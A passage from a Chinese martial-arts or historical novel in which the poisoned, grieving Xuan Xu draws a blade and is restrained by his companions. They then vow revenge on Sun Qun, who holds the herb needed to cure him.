他缓慢取下颈间的项链，双手捧起，想笑却怎么也笑不出来，喉咙干涩无比，到最后发出的只有狼崽似的呜咽。 碧绿的眸子早就没了往日的清澈，变得雾蒙蒙。 他摸索着拔出腰间，寒光乍现。 万柳瞳孔骤缩，几乎是撞开身前的矮几扑向床边：“小序！。” 而艾从雪如苍鹰掠野扑了上去，寒光被她死死按进床褥：“你清醒一点！” 燕岚同样大声制止：“赵启才是我们的仇人！” 玄序看着三人，脸上全是无措。 他喉间滚出模糊气音：“赵启？” 玄序突然崩溃。 “我杀了他！” “我要杀了他！” 他的理智已然被仇恨侵占，双目赤红，手止不住地颤抖。 艾从雪抓住他的手，试图让他平复。 燕岚靠着怀青，神情悲恸：“你先休息，如今你身中剧毒，怀青的药不过是勉强续命，你好好养病，我会为阿丹报仇。” “无论任何人阻拦。” 燕岚又恢复了往日雍容华贵的模样，她扭头看向艾从雪：“捉拿孙群时，若不能生擒，就当场格杀。” 然而，当燕岚想要拿走玄序手中的项链时，却遭到了他的剧烈反抗。 任由燕岚好说歹说，玄序都不肯放下玄忆丹送他的唯一一件礼物。 “怎么才能彻底解毒？” 左右都已经中毒，拿不拿走那项链也无伤大雅，艾从雪此刻更关心的是玄序如何彻底解毒。 毕竟玄序受伤她也有一份责任。 “最关键的药材在棠邑。”燕岚声音已变得沙哑，“在孙群那狗东西手里。”